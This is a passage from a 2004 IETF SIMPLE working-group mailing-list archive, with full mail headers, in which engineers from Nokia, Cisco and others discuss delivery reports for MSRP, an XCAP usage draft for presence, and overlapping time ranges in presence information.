> >>
> >>
> >>_______________________________________________
> >>Simple mailing list
> >>Simple@ietf.org
> >>https://www1.ietf.org/mailman/listinfo/simple
> >>
> > 
> > 
> > _______________________________________________
> > Simple mailing list
> > Simple@ietf.org
> > https://www1.ietf.org/mailman/listinfo/simple
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 03:01:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA08687
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 03:01:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJQ-0007kF-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:01:04 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRHq-0007OX-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 02:59:27 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRGd-00070O-02; Wed, 03 Mar 2004 02:58:12 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyR7x-0005U0-Iq; Wed, 03 Mar 2004 02:49:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7o-00074D-Sa; Wed, 03 Mar 2004 02:49:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyR7N-00070k-1a
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 02:48:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA07783
	for <simple@ietf.org>; Wed, 3 Mar 2004 02:48:14 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR6z-0004R6-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:48:13 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyR62-0004Ij-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:47:15 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyR5Z-0004B7-00
	for simple@ietf.org; Wed, 03 Mar 2004 02:46:45 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kfZ03941;
	Wed, 3 Mar 2004 09:46:41 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 09:46:36 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i237kaZW014078;
	Wed, 3 Mar 2004 09:46:36 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 00NLHCvT; Wed, 03 Mar 2004 09:46:34 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i237kX724206;
	Wed, 3 Mar 2004 09:46:33 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 09:46:31 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] return receipt and delivery status notification for MSRP
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797822@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] return receipt and delivery status notification for MSRP
Thread-Index: AcQA7cj2dw3AqBNqQs2Sdx9rr3+hRwABSzgQ
To: <rohan@cisco.com>, <aki.niemi@nokia.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 07:46:31.0642 (UTC) FILETIME=[A4E01BA0:01C400F3]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 09:46:27 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Yes, in chunking, I think it is useful to get delivery reports of =
chunks. Not for every chunk, but for x number of them.

I disagree about your opinion on page-mode. Delivery reports are most =
appropriate in page-mode. I like to know when I send an IM that it was =
received. It is also an indication to me on WHEN it was received (in a =
store and forward mode). For Aki, he just wants to be notified when an =
error occurs.

/Hisham

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Rohan Mahy
> Sent: 03.March.2004 09:01
> To: Niemi Aki (Nokia-M/Espoo)
> Cc: simple@ietf.org; Rohan Mahy
> Subject: Re: [Simple] return receipt and delivery status notification
> for MSRP
>=20
>=20
> Hi,
>=20
> I was trying to gather reqs for MSRP.  I don't think it is=20
> appropriate=20
> to offer a full range of services for page-mode.
>=20
> Because relays can chunk and acknowledge SEND requests hop by hop, it=20
> is useful to get positive acknowledgments that you wouldn't have=20
> otherwise.  For the human typing text to a human I agree you probably=20
> don't need e2e message delivery notification, but part of my=20
> point was=20
> that there are several different applications.
>=20
> thanks,
> -rohan
>=20
>=20
> On Mar 3, 2004, at 11:27 AM, Niemi Aki (Nokia-M/Espoo) wrote:
>=20
> > Hi Rohan,
> >
> > I'm a little confused whether we're talking about MSRP or=20
> page-mode, or
> > both here.
> >
> > I definitely agree that there is a need to get both bounces=20
> back to the
> > client (e.g. when the MESSAGE receives a 202 and is stored but later
> > delivery fails, or when using a message list server, where some
> > recipients return a non 2xx response); and also=20
> read-reports for when=20
> > an
> > IM was actually rendered to a user and thus read.
> >
> > I think these features are tremendously useful for page=20
> mode, but I'm
> > not sure they're all that useful for MSRP, which is already an
> > interactive form of communication. I.e., if I don't get my message
> > across, I can send it again - this time in block letters...
> > Cheers,
> > Aki
> >
> > ext Rohan Mahy wrote:
> >> Hi,
> >> I wanted to record an observation about how optional return receipt
> >> and delivery status notification should be for MSRP. This was
> >> inspired by Eric Burger's comments at the mic about how=20
> positive and
> >> negative acknowledgments have a different character.
> >> Positive Acknowledgments: I may want to know about partial message
> >> delivery so I can interrupt and resume-in-place when transferring a
> >> large IM attachment (walk into the elevator example).
> >> I may want to know just that a complete message was delivered
> >> I may want to know that a complete message is=20
> queued/stored for user
> >> pickup
> >> I may want to know that a complete message was displayed to the
> >> target end user
> >> I may want to receive no messages at all about e2e delivery status
> >> Negative Acknowledgements I may want to know that a message was not
> >> delivered due to a relay error and why
> >> I may want to know that a message was not delivered=20
> because of a UA=20
> >> error (and why)
> >> I may not care if messages don't get delivered e2e (expecting just
> >> best effort)
> >> We should figure out a way to indicate which of these you=20
> want.  The
> >>  mail folks have dealt with very, very similar problems.
> >> Homework assignment for the working group: read and understand the=20
> >> semantics of Delivery Status Notifications (RFC 3464) and Return=20
> >> Receipts/Message Disposition Notifications (RFC 2298)
> >> thanks, -rohan
> >> _______________________________________________ Simple=20
> mailing list=20
> >> Simple@ietf.org https://www1.ietf.org/mailman/listinfo/simple
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 03:06:27 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09367
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 03:06:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyROc-0001Ce-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:06:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRNU-0000yU-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:05:16 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRMU-0000lK-00; Wed, 03 Mar 2004 03:04:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRMO-0000ys-Cl; Wed, 03 Mar 2004 03:04:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRLq-0000k2-Mo
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:03:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09093
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:03:11 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRLS-0000Y2-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:03:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRKW-0000J0-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:02:12 -0500
Received: from mgw-x2.nokia.com ([131.228.20.22])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRJI-0007j9-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:00:56 -0500
Received: from esdks001.ntc.nokia.com (esdks001.ntc.nokia.com [172.21.138.120])
	by mgw-x2.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2380th09212;
	Wed, 3 Mar 2004 10:00:55 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 10:00:52 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks001.ntc.nokia.com (8.12.9/8.12.9) id i2380qPq013884;
	Wed, 3 Mar 2004 10:00:52 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks001.ntc.nokia.com 009I5Qb6; Wed, 03 Mar 2004 10:00:51 EET
Received: from esebh001.NOE.Nokia.com (esebh001.ntc.nokia.com [172.21.138.28])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2380i706467;
	Wed, 3 Mar 2004 10:00:44 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh001.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 10:00:44 +0200
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 10:00:43 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] RE: Comments on draft-isomaki-simple-xcap-publish-usage-00
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797823@esebe019.ntc.nokia.com>
Thread-Topic: Comments on draft-isomaki-simple-xcap-publish-usage-00
Thread-Index: AcQAuUzVZkCMOxxhRMaNytt24+iVlQAABi2AAA6bP+A=
To: <Markus.Isomaki@nokia.com>, <george.foti@ericsson.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 08:00:43.0873 (UTC) FILETIME=[A0D83D10:01C400F5]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 10:00:43 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Comments using <hisham>

-----Original Message-----
From: ext George Foti (QA/EMC) [mailto:george.foti@ericsson.com]
Sent: 03 March, 2004 02:47
To: Isomaki Markus (Nokia-NRC/Helsinki); simple@ietf.org
Subject: Comments on draft-isomaki-simple-xcap-publish-usage-00




Hi Markus,=20
I have some comments on your draft:=20
1) Although you indicate that this should be used only for hard states, =
what is there to prevent users from manipulating other presence states =
in there through XCAP.

<hisham> Also, there is no xcap document nor uri for the other presence =
states published using PUBLISH to enable such thing as you (George) =
suggests.

2) XCAP is meant to be used for documents that are created to take =
advantage of the defined XCAP rules for HTTP URI creation. Which XML =
presence documents in particular are you proposing that they get =
manipulated by XCAP. =20

<hisham> PIDF.

How do you ensure that the current XCAP rules are suffiicient for the =
purpose you have in mind. I also doubt that you can use the current XML =
presence documents (PIDF and extensions) for XCAP purposes as is. For =
example, should there not be the element mandatory-ns, in there, as per =
the XCAP framework.

<hisham> I think mandatory-ns is optional. If not, we can create one for =
PIDF.

/Hisham

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Wed Mar  3 03:23:44 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10364
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 03:23:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRfL-00047X-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:23:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRe3-0003kv-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 03:22:23 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRc9-0003QU-04; Wed, 03 Mar 2004 03:20:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyRPL-0005sJ-R5; Wed, 03 Mar 2004 03:07:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRPI-0001da-4z; Wed, 03 Mar 2004 03:07:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyROW-0001T1-9z
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:06:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09337
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:05:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRO8-00012u-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:05:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRMv-0000ph-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:04:42 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRMF-0000aY-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:03:59 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 00:15:49 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i2383RY6001766;
	Wed, 3 Mar 2004 00:03:27 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM05254;
	Wed, 3 Mar 2004 03:03:23 -0500 (EST)
Message-ID: <40459149.2060404@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:03:21 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Henning has me convinced that you can't ban this from the document. I 
think this becomes an area where clients can get creative with how they 
present this sort of conflicting information.

	Paul

Brian Stucker wrote:
> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
> Sent: Tuesday, March 02, 2004 11:03 PM
> To: Paul Kyzivat
> Cc: Jonathan Rosenberg; Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> It is quite common that calendars have overlapping appointments, due to
> user error, intent to leave early or optimism that one appointment will
> end earlier as scheduled. I don't see how a PA can resolve what a human
> cannot or chose not to.
> 
> Paul Kyzivat wrote:
> 
>  >> I suppose we could just mandate that the PA only generate
>  >> notifications with non-overlapping intervals. This forces the PA to do
>  >> any kind of precedence computations. I think the PA is the only one
>  >> that can do it.
>  >
>  >
>  > Your example of overlapping time ranges for orthogonal attributes is a
>  > good one. I don't think we would want to forbid that.
>  >
>  > But maybe we could forbid overlapping time ranges containing an instance
>  > of the same element.
>  >
>  >     Paul
>  >
>  >
>  > _______________________________________________
>  > Simple mailing list
>  > Simple@ietf.org
>  > https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 03:25:11 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10554
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 03:25:06 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRgC-0004Gw-Io
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 03:24:36 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i238Oaa6016421
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 03:24:36 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRgC-0004Gm-BU
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 03:24:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10367
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 03:23:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRfM-00047c-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:23:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRe4-0003l6-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 03:22:24 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRc9-0003QU-04; Wed, 03 Mar 2004 03:20:25 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyRPL-0005sJ-R5; Wed, 03 Mar 2004 03:07:12 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRPI-0001da-4z; Wed, 03 Mar 2004 03:07:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyROW-0001T1-9z
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:06:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09337
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:05:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRO8-00012u-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:05:56 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyRMv-0000ph-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:04:42 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyRMF-0000aY-00
	for simple@ietf.org; Wed, 03 Mar 2004 03:03:59 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 03 Mar 2004 00:15:49 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i2383RY6001766;
	Wed, 3 Mar 2004 00:03:27 -0800 (PST)
Received: from cisco.com (tokyo-vpn-user50.cisco.com [10.70.82.50])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGM05254;
	Wed, 3 Mar 2004 03:03:23 -0500 (EST)
Message-ID: <40459149.2060404@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Brian Stucker <bstucker@nortelnetworks.com>
CC: "'Henning Schulzrinne'" <hgs@cs.columbia.edu>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Simple WG <simple@ietf.org>
Subject: Re: [Simple] Comments on draft-ietf-simple-future
References: <161AA64DA85DFC4BA4D2EB5629B5975304EECECC@zrc2c012.us.nortel.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 03:03:21 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Henning has me convinced that you can't ban this from the document. I 
think this becomes an area where clients can get creative with how they 
present this sort of conflicting information.

	Paul

Brian Stucker wrote:
> I would agree with Henning on this. However, this does give rise to 
> non-deterministic information. What would the renderer of this 
> information wind up showing? In the case of overlapping statuses, do we 
> need to provide the ability (but not necessarily the requirement that it 
> be used) to put something of a Q value along with the status. If no Q 
> value is provided, the render can do whatever it wants... display 
> everything, the first one, the last one, or whatever (because there's no 
> indication as to which one is "better" than the other).
> 
> Regards,
> 
> Brian
> 
> -----Original Message-----
> From: Henning Schulzrinne [mailto:hgs@cs.columbia.edu]
> Sent: Tuesday, March 02, 2004 11:03 PM
> To: Paul Kyzivat
> Cc: Jonathan Rosenberg; Simple WG
> Subject: Re: [Simple] Comments on draft-ietf-simple-future
> 
> 
> It is quite common that calendars have overlapping appointments, due to
> user error, intent to leave early or optimism that one appointment will
> end earlier as scheduled. I don't see how a PA can resolve what a human
> cannot or chose not to.
> 
> Paul Kyzivat wrote:
> 
>  >> I suppose we could just mandate that the PA only generate
>  >> notifications with non-overlapping intervals. This forces the PA to do
>  >> any kind of precedence computations. I think the PA is the only one
>  >> that can do it.
>  >
>  >
>  > Your example of overlapping time ranges for orthogonal attributes is a
>  > good one. I don't think we would want to forbid that.
>  >
>  > But maybe we could forbid overlapping time ranges containing an instance
>  > of the same element.
>  >
>  >     Paul
>  >
>  >
>  > _______________________________________________
>  > Simple mailing list
>  > Simple@ietf.org
>  > https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 04:26:39 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA13453
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 04:26:38 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AySeE-00070D-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 04:26:38 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AySdC-0006kg-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 04:25:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyScH-0006Z4-00; Wed, 03 Mar 2004 04:24:37 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AySbz-00010H-WE; Wed, 03 Mar 2004 04:24:20 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyRaM-0003pL-N4
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 03:18:39 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA10058
	for <simple@ietf.org>; Wed, 3 Mar 2004 03:18:13 -0500 (EST)
